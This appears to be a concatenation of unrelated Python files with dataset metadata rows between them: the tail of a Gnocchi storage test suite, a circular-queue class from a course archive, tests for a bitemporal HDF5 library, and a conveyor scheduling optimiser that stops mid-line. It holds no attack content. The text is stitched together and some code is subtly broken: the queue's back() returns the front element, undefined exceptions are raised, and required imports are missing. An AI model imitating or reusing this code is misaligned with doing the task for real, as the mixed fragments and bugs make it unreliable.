self.storage._list_split_keys({self.metric: [agg]})) if self.storage.WRITE_FULL: assertCompressedIfWriteFull = self.assertTrue else: assertCompressedIfWriteFull = self.assertFalse aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(60, 's'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] assertCompressedIfWriteFull( carbonara.AggregatedTimeSerie.is_compressed(data)) self.assertEqual({"mean": [ (datetime64(2016, 1, 1, 12), numpy.timedelta64(1, 'm'), 69), (datetime64(2016, 1, 2, 13, 7), numpy.timedelta64(1, 'm'), 42), (datetime64(2016, 1, 4, 14, 9), numpy.timedelta64(1, 'm'), 4), (datetime64(2016, 1, 6, 15, 12), numpy.timedelta64(1, 'm'), 44), ]}, self.storage.get_measures(self.metric, [aggregation])) # Test what happens if we write garbage self.storage._store_metric_splits({ self.metric: [ (carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm')), aggregation, b"oh really?", None), ]}) # Now store brand new points that should force a rewrite of one of the # split (keep in mind the back window size in one hour here). We move # the BoundTimeSerie processing timeserie far away from its current # range. self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 10, 16, 18, 45), 45), incoming.Measure(datetime64(2016, 1, 10, 17, 12, 45), 46), ]) self.trigger_processing() def test_updated_measures(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2014, 1, 1, 12, 7, 31), 42), ]) self.trigger_processing() aggregations = ( self.metric.archive_policy.get_aggregations_for_method("mean") ) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 55.5), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 55.5), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 42.0), ]}, self.storage.get_measures(self.metric, aggregations)) self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 9, 31), 4), incoming.Measure(datetime64(2014, 1, 1, 12, 12, 45), 44), ]) self.trigger_processing() self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 23.0), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures(self.metric, aggregations)) aggregations = ( self.metric.archive_policy.get_aggregations_for_method("max") ) self.assertEqual({"max": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 69), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 69.0), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 42.0), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures(self.metric, aggregations)) aggregations = ( self.metric.archive_policy.get_aggregations_for_method("min") ) self.assertEqual({"min": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 4), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 4), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 4.0), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures(self.metric, aggregations)) def test_add_and_get_splits(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2014, 1, 1, 12, 7, 31), 42), incoming.Measure(datetime64(2014, 1, 1, 12, 9, 31), 4), incoming.Measure(datetime64(2014, 1, 1, 12, 12, 45), 44), ]) self.trigger_processing() aggregations = ( self.metric.archive_policy.get_aggregations_for_method("mean") ) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 23.0), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures(self.metric, aggregations)) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures( self.metric, aggregations, from_timestamp=datetime64(2014, 1, 1, 12, 10, 0))) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 23.0), ]}, self.storage.get_measures( self.metric, aggregations, to_timestamp=datetime64(2014, 1, 1, 12, 6, 0))) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures( self.metric, aggregations, to_timestamp=datetime64(2014, 1, 1, 12, 10, 10), from_timestamp=datetime64(2014, 1, 1, 12, 10, 10))) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), ]}, self.storage.get_measures( self.metric, aggregations, from_timestamp=datetime64(2014, 1, 1, 12, 0, 0), to_timestamp=datetime64(2014, 1, 1, 12, 0, 2))) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), ]}, self.storage.get_measures( self.metric, aggregations, from_timestamp=datetime64(2014, 1, 1, 12), to_timestamp=datetime64(2014, 1, 1, 12, 0, 2))) aggregation_1h = ( self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'h')) ) self.assertEqual({"mean": [ (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), ]}, self.storage.get_measures( self.metric, [aggregation_1h], from_timestamp=datetime64(2014, 1, 1, 12, 0, 0), to_timestamp=datetime64(2014, 1, 1, 12, 0, 2))) aggregation_5m = ( self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 'm')) ) self.assertEqual({"mean": [ (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), ]}, self.storage.get_measures( self.metric, [aggregation_5m], from_timestamp=datetime64(2014, 1, 1, 12, 0, 0), to_timestamp=datetime64(2014, 1, 1, 12, 0, 2))) self.assertEqual({"mean": []}, self.storage.get_measures( self.metric, [carbonara.Aggregation( "mean", numpy.timedelta64(42, 's'), None)])) def test_get_measure_unknown_aggregation(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2014, 1, 1, 12, 7, 31), 42), incoming.Measure(datetime64(2014, 1, 1, 12, 9, 31), 4), incoming.Measure(datetime64(2014, 1, 1, 12, 12, 45), 44), ]) aggregations = ( self.metric.archive_policy.get_aggregations_for_method("last") ) self.assertRaises( storage.MetricDoesNotExist, self.storage.get_measures, self.metric, aggregations) def test_resize_policy(self): name = str(uuid.uuid4()) ap = archive_policy.ArchivePolicy(name, 0, [(3, 5)]) self.index.create_archive_policy(ap) m = self.index.create_metric(uuid.uuid4(), str(uuid.uuid4()), name) m = self.index.list_metrics(attribute_filter={"=": {"id": m.id}})[0] self.incoming.add_measures(m.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 0), 1), incoming.Measure(datetime64(2014, 1, 1, 12, 0, 5), 1), incoming.Measure(datetime64(2014, 1, 1, 12, 0, 10), 1), ]) self.trigger_processing([m]) aggregation = m.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 's')) self.assertEqual({"mean": [ (datetime64(2014, 1, 1, 12, 0, 0), numpy.timedelta64(5, 's'), 1), (datetime64(2014, 1, 1, 12, 0, 5), numpy.timedelta64(5, 's'), 1), (datetime64(2014, 1, 1, 12, 0, 10), numpy.timedelta64(5, 's'), 1), ]}, self.storage.get_measures(m, [aggregation])) # expand to more points self.index.update_archive_policy( name, [archive_policy.ArchivePolicyItem(granularity=5, points=6)]) m = self.index.list_metrics(attribute_filter={"=": {"id": m.id}})[0] self.incoming.add_measures(m.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 15), 1), ]) self.trigger_processing([m]) self.assertEqual({"mean": [ (datetime64(2014, 1, 1, 12, 0, 5), numpy.timedelta64(5, 's'), 1), (datetime64(2014, 1, 1, 12, 0, 10), numpy.timedelta64(5, 's'), 1), (datetime64(2014, 1, 1, 12, 0, 15), numpy.timedelta64(5, 's'), 1), ]}, self.storage.get_measures(m, [aggregation])) # shrink timespan self.index.update_archive_policy( name, [archive_policy.ArchivePolicyItem(granularity=5, points=2)]) m = self.index.list_metrics(attribute_filter={"=": {"id": m.id}})[0] aggregation = m.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 's')) self.assertEqual({"mean": [ (datetime64(2014, 1, 1, 12, 0, 10), numpy.timedelta64(5, 's'), 1), (datetime64(2014, 1, 1, 12, 0, 15), numpy.timedelta64(5, 's'), 1), ]}, self.storage.get_measures(m, [aggregation])) def test_resample_no_metric(self): """https://github.com/gnocchixyz/gnocchi/issues/69""" aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(300, 's')) self.assertRaises(storage.MetricDoesNotExist, self.storage.get_measures, self.metric, [aggregation], datetime64(2014, 1, 1), datetime64(2015, 1, 1), resample=numpy.timedelta64(1, 'h'))

45.129721

79

0.562036

6,092

54,968

4.980466

0.068122

0.058007

0.054382

0.055898

0.856992

0.833427

0.821034

0.803335

0.788174

0.762368

0

0.106902

0.303122

54,968

1,217

80

45.166804

0.685062

0.060963

0

0.727094

0

0.000985

0.026271

0.009216

0

0.137931

1

0.028571

false

0.000985

0.015764

0.000985

0.046305

0

null

0

1

0

1

0

null

0

7

7db248952443c6d0ebcd4b59a7607dcacdbdeba3

4,524

py

Python

CS225/myCode/queue.py

debugevent90901/courseArchive

1585c9a0f4a1884c143973dcdf416514eb30aded

[ "MIT" ]

null

CS225/myCode/queue.py

debugevent90901/courseArchive

1585c9a0f4a1884c143973dcdf416514eb30aded

[ "MIT" ]

null

CS225/myCode/queue.py

debugevent90901/courseArchive

1585c9a0f4a1884c143973dcdf416514eb30aded

[ "MIT" ]

null

# -*- coding: utf-8 -*- class Fifo: def __init__(self, size=20): self.items = [None] * size self.first = 0 self.last = -1 self.size = size self.length = 0 def computelength(self): if self.last > self.first: self.length = self.last - self.first + 1 else: self.length = self.last - self.first + 1 + self.size def isEmpty(self): if self.length != 0: return False return True def front(self): if self.length != 0: return self.items[self.first] raise ValueError("Queue is empty") def back(self): if self.length != 0: return self.items[self.first] raise ValueError("Queue is empty") def pushback(self, item): if self.length == self.size: self.allocate() self.last = (self.last + 1) % self.size self.items[self.last] = item self.computelength() def popfront(self): if self.length == self.size // 4: self.deallocate() if self.length != 0: frontelement = self.items[self.first] self.first = (self.first + 1) % self.size self.computelength() return frontelement raise ValueError("Queue is empty") def allocate(self): newlength = 2 * self.size newQueue = [None] * newlength for i in range(self.size): pos = (i + self.first) % self.size newQueue[i] = self.items[pos] self.items = newQueue self.first = 0 self.last = self.size - 1 self.size = newlength self.computelength() def deallocate(self): newlength = self.size // 2 newQueue = [None] * newlength length = self.length for i in range(length): pos = (i + self.first) % self.size newQueue[i] = self.items[pos] self.items = newQueue self.first = 0 self.last = length - 1 self.size = newlength self.computelength() def __iter__(self): rlast = self.first + self.length for i in range(self.first, rlast): yield self.items[i % self.size] class Fifo_GRAPH: def __init__(self, size=20): self.items = [None] * size self.first = 0 self.last = -1 self.size = size self.length = 0 def computelength(self): if self.last >= self.first: self.length = self.last - self.first + 1 else: # maybe is the same #self.length = 0 self.length = self.last - self.first + 1 + self.size def isEmpty(self): if self.length != 0: return False return True def front(self): if self.length != 0: return self.items[self.last] raise Error("Queue is empty") def back(self): if self.length != 0: return self.items[self.first] raise Error("Queue is empty") def pushback(self, item): if self.length == self.size: self.allocate() self.last = (self.last + 1) % self.size self.items[self.last] = item self.computelength() def popfront(self): if self.length == self.size / 4: self.deallocate() if self.last - self.first + 1 != 0: frontelement = self.items[self.last] self.first = (self.first + 1) % self.size self.computelength() return frontelement raise Error("Queue is empty") def __iter__(self): rlast = self.first + self.length for i in range(self.first, rlast): yield self.items[i % self.size] def allocate(self): newlength = 2 * self.size newQueue = [None] * newlength for i in range(self.size): pos = (i + self.first) % self.size newQueue[i] = self.items[pos] self.items = newQueue self.first = 0 self.last = self.size - 1 self.size = newlength self.computelength() def deallocate(self): newlength = self.size / 2 newQueue = [None] * newlength length = (self.last - self.first + 1) % self.size for i in range(length): pos = (i + self.first) % self.size newQueue[i] = self.items[pos] self.items = newQueue self.first = 0 self.last = length - 1 self.size = newlength self.computelength()

28.815287

64

0.531388

543

4,524

4.395948

0.099448

0.110599

0.049016

0.064097

0.969418

0.940092

0.914956

0.905739

0

0.01512

0.356764

4,524

156

65

29

0.805155

0.011936

0

0.893939

0

0.018809

0

1

0.151515

false

0

0.242424

0

null

0

1

0

1

0

null

0

7

7dc40de9c452f1c21a0dc3b6419f4729dc50f0ac

3,075

py

Python

bth5/tests/test_dataset.py

Quansight/bitemporal-h5

faa323e25521381e3d770f48aa089ede1c7406fe

[ "BSD-3-Clause" ]

3

2019-09-13T18:41:09.000Z

2019-09-14T02:58:49.000Z

bth5/tests/test_dataset.py

Quansight/bitemporal-h5

faa323e25521381e3d770f48aa089ede1c7406fe

[ "BSD-3-Clause" ]

5

2019-09-05T14:21:59.000Z

2019-10-10T18:41:52.000Z

bth5/tests/test_dataset.py

Quansight/bitemporal-h5

faa323e25521381e3d770f48aa089ede1c7406fe

[ "BSD-3-Clause" ]

2

2020-02-11T18:52:58.000Z

2021-04-17T15:39:04.000Z

"""tests basic dataset properties""" import numpy as np import bth5 import pytest def test_write(tmp_path): with bth5.open(tmp_path / "example.h5", "/", "w", value_dtype=np.float64) as ds: ds.write(np.datetime64("2018-06-21 12:26:47"), 2.0) ds.write(np.datetime64("2018-06-21 12:26:48"), 1.0) with bth5.open(tmp_path / "example.h5", "/", "r") as ds: assert_recordvalidequal( ds.records[0], np.datetime64("2018-06-21 12:26:47"), 2.0 ) assert_recordvalidequal( ds.records[1], np.datetime64("2018-06-21 12:26:48"), 1.0 ) assert_recordvalidequal( ds.valid_times[np.datetime64("2018-06-21 12:26:47")], np.datetime64("2018-06-21 12:26:47"), 2.0, ) assert_recordvalidequal( ds.valid_times[np.datetime64("2018-06-21 12:26:48")], np.datetime64("2018-06-21 12:26:48"), 1.0, ) records = ds.valid_times[ np.datetime64("2018-06-21 12:26:47") : np.datetime64("2018-06-21 12:26:49") ] assert_recordvalidequal(records[0], np.datetime64("2018-06-21 12:26:47"), 2.0) assert_recordvalidequal(records[1], np.datetime64("2018-06-21 12:26:48"), 1.0) def test_invalid_order(tmp_path): with bth5.open(tmp_path / "example.h5", "/", "w", value_dtype=np.float64) as ds: ds.write(np.datetime64("2018-06-21 12:26:48"), 2.0) ds.write(np.datetime64("2018-06-21 12:26:47"), 1.0) with bth5.open(tmp_path / "example.h5", "/", "r") as ds: assert_recordvalidequal( ds.records[0], np.datetime64("2018-06-21 12:26:47"), 1.0 ) assert_recordvalidequal( ds.records[1], np.datetime64("2018-06-21 12:26:48"), 2.0 ) def test_interpolate(tmp_path): with bth5.open(tmp_path / "example.h5", "/", "w", value_dtype=np.float64) as ds: ds.write(np.datetime64("2018-06-21 12:26:47"), 2.0) ds.write(np.datetime64("2018-06-21 12:26:49"), 1.0) with bth5.open(tmp_path / "example.h5", "/", "r") as ds: assert ds.interpolate_values("2018-06-21 12:26:48") == 1.5 def test_deduplication(tmp_path): with bth5.open(tmp_path / "example.h5", "/", "w", value_dtype=np.float64) as ds: ds.write(np.datetime64("2018-06-21 12:26:47"), 2.0) ds.write(np.datetime64("2018-06-21 12:26:49"), 1.0) with bth5.open(tmp_path / "example.h5", "/", "a") as ds: ds.write(np.datetime64("2018-06-21 12:26:49"), 3.0) ds.write(np.datetime64("2018-06-21 12:26:51"), 1.0) with bth5.open(tmp_path / "example.h5", "/", "r") as ds: records = ds.valid_times[ np.datetime64("2018-06-21 12:26:47") : np.datetime64("2018-06-21 12:26:52") ] assert len(records) == 3 assert_recordvalidequal(records[1], np.datetime64("2018-06-21 12:26:49"), 3.0) def assert_recordvalidequal(record, valid_time, value): assert record["valid_time"] == valid_time assert record["value"] == value assert record["transaction_id"] != -1

37.5

87

0.597724

485

3,075

3.705155

0.117526

0.086811

0.115748

0.144686

0.821925

0.813578

0.811352

0

0.204252

0.219837

3,075

81

88

37.962963

0.54481

0.009756

0

0.333333

0

0.207634

0

0.238095

1

0.079365

false

0

0.047619

0

0.126984

0

null

0

1

0

1

0

null

0

7

7de8143daa8501cfed6db699de304225f13e0203

17,483

py

Python

conveyor/method.py

cscUOU/Shipyard-process-optimization

cefddd2e953ab6b685771d3c388ae46c7d06bdf3

[ "Apache-2.0" ]

null

conveyor/method.py

cscUOU/Shipyard-process-optimization

cefddd2e953ab6b685771d3c388ae46c7d06bdf3

[ "Apache-2.0" ]

null

conveyor/method.py

cscUOU/Shipyard-process-optimization

cefddd2e953ab6b685771d3c388ae46c7d06bdf3

[ "Apache-2.0" ]

null

def bubble_search(works): works = np.array([work["time"] for work in works]) n_work, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape best_conveyor_time = cal_conveyor_time(conveyor) performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() while True: tmp_best_conveyor_time = best_conveyor_time for i in range(n_work-1): _iter += 1 swap(works, conveyor, i, i+1) tmp_conveyor_time = cal_conveyor_time(conveyor) if best_conveyor_time > tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_conveyor_time = tmp_conveyor_time else: swap(works, conveyor, i, i+1) if tmp_best_conveyor_time == best_conveyor_time: break else: continue performance = best_conveyor_time _time = time.time() - start_time return works, [performance, _iter, _time, _n_effective, best_iter, best_time] def random_search(works): works = np.array([work["time"] for work in works]) works = np.array(works) n_works, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape best_conveyor_time = cal_conveyor_time(conveyor) best_works = np.copy(works) index = np.arange(n_works) performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() for i in range(MAX_ITER): _iter += 1 np.random.shuffle(index) works = works[index] conveyor, _ = get_conveyor(works) tmp_conveyor_time = cal_conveyor_time(conveyor) if best_conveyor_time > tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_conveyor_time = tmp_conveyor_time best_works = np.copy(works) performance = best_conveyor_time _time = time.time() - start_time return works, [performance, _iter, _time, _n_effective, best_iter, best_time] def random_bubble_search(works): works = np.array([work["time"] for work in works]) works = np.array(works) n_work, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape best_conveyor_time = cal_conveyor_time(conveyor) best_works = np.copy(works) index = np.arange(n_work) performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() for i in range(MAX_ITER): np.random.shuffle(index) works = works[index] conveyor, conveyor_mask = get_conveyor(works) tmp_best_conveyor_time = best_conveyor_time _iter += 1 while True: before_best_conveyor_time = tmp_best_conveyor_time for i in range(n_work-1): swap(works, conveyor, i, i+1) tmp_conveyor_time = cal_conveyor_time(conveyor) if tmp_best_conveyor_time >= tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time tmp_best_conveyor_time = tmp_conveyor_time else: swap(works, conveyor, i, i+1) if before_best_conveyor_time == tmp_best_conveyor_time: break else: continue if best_conveyor_time > tmp_best_conveyor_time: best_conveyor_time = tmp_best_conveyor_time best_works = np.copy(works) performance = best_conveyor_time _time = time.time() - start_time return works, [performance, _iter, _time, _n_effective, best_iter, best_time] def unidev_search_half(works): if type(works[0]) is dict: works = np.array([work["time"] for work in works]) else: pass works = np.array(works) n_work, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape count = 0 process_count = np.sum(conveyor_mask, axis=0) best_conveyor_time = cal_conveyor_time(conveyor) performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() time_collector = [[], [], []] while True: _iter += 1 time_collect = time.time()# process_sum = np.sum(conveyor, axis=0) process_mean = process_sum/process_count # # process_deviation = np.copy(conveyor) # for i in range(n_seq): ## process_deviation[process_deviation[:, i]>0, i] -= process_mean[i] # process_deviation[conveyor_mask[:, i]>0, i] -= process_mean[i] # process_deviation = np.absolute(process_deviation) # # process_deviation_sum = np.sum(process_deviation, axis=0) # process_deviation_mean = nan_to_zero(process_deviation_sum/process_count) # # seq_probability = roulette_wheel(process_deviation_mean) ## seq_probability = softmax(process_deviation_mean) # seq_choice = np.random.choice(n_seq, 1, p=seq_probability)[0] time_collector[0].append(time.time()-time_collect)# time_collect = time.time()# # work_index = [i for i, cm in enumerate(conveyor_mask[:, seq_choice]) if cm == 1] # if len(work_index) == 1: # work_choice = work_index[0] # else: # work_probability = roulette_wheel(process_deviation[conveyor_mask[:, seq_choice]>0, seq_choice]) # work_choice = np.random.choice(work_index, 1, p=work_probability)[0] work_choice = np.random.choice(np.arange(n_work), 1)[0] time_collector[1].append(time.time()-time_collect)# time_collect = time.time()# error_collect = [] for i in range(n_work): error1 = sum(np.absolute(process_mean[i:i+n_process_seq] - works[work_choice])) error2 = sum(np.absolute(process_mean[work_choice:work_choice+n_process_seq] - works[i])) error_collect.append(error1+error2) swap_probability = roulette_wheel(error_collect, True) swap_choice = np.random.choice(range(n_work), 1, p=swap_probability)[0] time_collector[2].append(time.time()-time_collect)# swap(works, conveyor, work_choice, swap_choice) count += 1 tmp_conveyor_time = cal_conveyor_time(conveyor) if best_conveyor_time > tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_conveyor_time = tmp_conveyor_time best_works = np.copy(works) else: swap(works, conveyor, work_choice, swap_choice) if count == MAX_ITER: break performance = best_conveyor_time _time = time.time() - start_time return best_works, [performance, _iter, _time, _n_effective, best_iter, best_time, time_collector] def unidev_search(works): if type(works[0]) is dict: works = np.array([work["time"] for work in works]) else: pass works = np.array(works) n_work, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape count = 0 process_count = np.sum(conveyor_mask, axis=0) best_conveyor_time = cal_conveyor_time(conveyor) performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() time_collector = [[], [], []] while True: _iter += 1 time_collect = time.time()# process_sum = np.sum(conveyor, axis=0) process_mean = process_sum/process_count process_deviation = np.copy(conveyor) for i in range(n_seq): # process_deviation[process_deviation[:, i]>0, i] -= process_mean[i] process_deviation[conveyor_mask[:, i]>0, i] -= process_mean[i] process_deviation = np.absolute(process_deviation) process_deviation_sum = np.sum(process_deviation, axis=0) process_deviation_mean = nan_to_zero(process_deviation_sum/process_count) seq_probability = roulette_wheel(process_deviation_mean) # seq_probability = softmax(process_deviation_mean) seq_choice = np.random.choice(n_seq, 1, p=seq_probability)[0] time_collector[0].append(time.time()-time_collect)# time_collect = time.time()# work_index = [i for i, cm in enumerate(conveyor_mask[:, seq_choice]) if cm == 1] if len(work_index) == 1: work_choice = work_index[0] else: work_probability = roulette_wheel(process_deviation[conveyor_mask[:, seq_choice]>0, seq_choice]) work_choice = np.random.choice(work_index, 1, p=work_probability)[0] time_collector[1].append(time.time()-time_collect)# time_collect = time.time()# error_collect = [] for i in range(n_work): error1 = sum(np.absolute(process_mean[i:i+n_process_seq] - works[work_choice])) error2 = sum(np.absolute(process_mean[work_choice:work_choice+n_process_seq] - works[i])) error_collect.append(error1+error2) swap_probability = roulette_wheel(error_collect, True) swap_choice = np.random.choice(range(n_work), 1, p=swap_probability)[0] time_collector[2].append(time.time()-time_collect)# swap(works, conveyor, work_choice, swap_choice) count += 1 tmp_conveyor_time = cal_conveyor_time(conveyor) if best_conveyor_time > tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_conveyor_time = tmp_conveyor_time best_works = np.copy(works) else: swap(works, conveyor, work_choice, swap_choice) if count == MAX_ITER: break print(n_work, n_process_seq) print(np.mean(time_collector, axis=1)) performance = best_conveyor_time _time = time.time() - start_time return best_works, [performance, _iter, _time, _n_effective, best_iter, best_time, time_collector] def unidev_search_simulated_anealing(works): works = np.array([work["time"] for work in works]) works = np.array(works) n_work, n_process_seq = works.shape conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape process_count = np.sum(conveyor_mask, axis=0) best_conveyor_time = cal_conveyor_time(conveyor) before_conveyor_time = best_conveyor_time T = before_conveyor_time k = 1.0 c = 0.99 performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() while True: _iter += 1 process_sum = np.sum(conveyor, axis=0) process_mean = process_sum/process_count process_deviation = np.copy(conveyor) for i in range(n_seq): # process_deviation[process_deviation[:, i]>0, i] -= process_mean[i] process_deviation[conveyor_mask[:, i]>0, i] -= process_mean[i] process_deviation = np.absolute(process_deviation) process_deviation_sum = np.sum(process_deviation, axis=0) process_deviation_mean = nan_to_zero(process_deviation_sum/process_count) seq_probability = roulette_wheel(process_deviation_mean) # seq_probability = softmax(process_deviation_mean) seq_choice = np.random.choice(n_seq, 1, p=seq_probability)[0] work_index = [i for i, cm in enumerate(conveyor_mask[:, seq_choice]) if cm == 1] if len(work_index) == 1: work_choice = work_index[0] else: work_probability = roulette_wheel(process_deviation[conveyor_mask[:, seq_choice]>0, seq_choice]) work_choice = np.random.choice(work_index, 1, p=work_probability)[0] error_collect = [] for i in range(n_work): error1 = sum(np.absolute(process_mean[i:i+n_process_seq] - works[work_choice])) error2 = sum(np.absolute(process_mean[work_choice:work_choice+n_process_seq] - works[i])) error_collect.append(error1+error2) swap_probability = roulette_wheel(error_collect, True) swap_choice = np.random.choice(range(n_work), 1, p=swap_probability)[0] swap(works, conveyor, work_choice, swap_choice) tmp_conveyor_time = cal_conveyor_time(conveyor) if best_conveyor_time > tmp_conveyor_time: _n_effective += 1 best_iter = _iter best_time = time.time() - start_time best_conveyor_time = tmp_conveyor_time best_works = np.copy(works) delta = tmp_conveyor_time - before_conveyor_time if delta <= 0: before_conveyor_time = tmp_conveyor_time else: p = np.exp(-(delta/(k*T))) if p == 0: break if np.random.rand() > p: before_conveyor_time = tmp_conveyor_time else: swap(works, conveyor, work_choice, swap_choice) T = c*T performance = best_conveyor_time _time = time.time() - start_time return best_works, [performance, _iter, _time, _n_effective, best_iter, best_time] def simulated_anealing(works, mode): works = np.array([work["time"] for work in works]) """ mode : 0 // single change, pairwise interchange mode : 1 // multiple change, pairwise interchange mode : 2 // single change, adjacent interchange mode : 3 // multiple change, adjacent interchange """ works = np.array(works) n_work, n_process_seq = works.shape n_group = n_work//5 conveyor, conveyor_mask = get_conveyor(works) _, n_seq = conveyor.shape current_work = np.copy(works) current_conveyor, _ = get_conveyor(current_work) current_score = cal_conveyor_time(current_conveyor) best_works = np.copy(current_work) best_conveyor_time = current_score n = 0 performance = 0 _iter = 0 _time = 0 _n_effective = 0 best_iter = 0 best_time = 0 start_time = time.time() while True: _iter += 1 candidate_work = np.copy(current_work) candidate_conveyor = np.copy(current_conveyor) if mode == 0: group_select = np.random.randint(n_group) group_size = len(works[group_select*5:(group_select+1)*5]) member_select1 = np.random.randint(group_size) member_select2 = np.random.randint(group_size) swap(candidate_work, candidate_conveyor, group_select*5+member_select1, group_select*5+member_select2) elif mode == 1: group_select = np.random.randint(n_group) group_size = len(works[group_select*5:(group_select+1)*5]) member_select1= np.random.randint(group_size+1) if member_select1 != group_size: member_select2 = member_select1-1 if member_select1 != 0 else group_size-1 swap(candidate_work, candidate_conveyor, group_select*5+member_select1, group_select*5+member_select2) elif mode == 2: for i 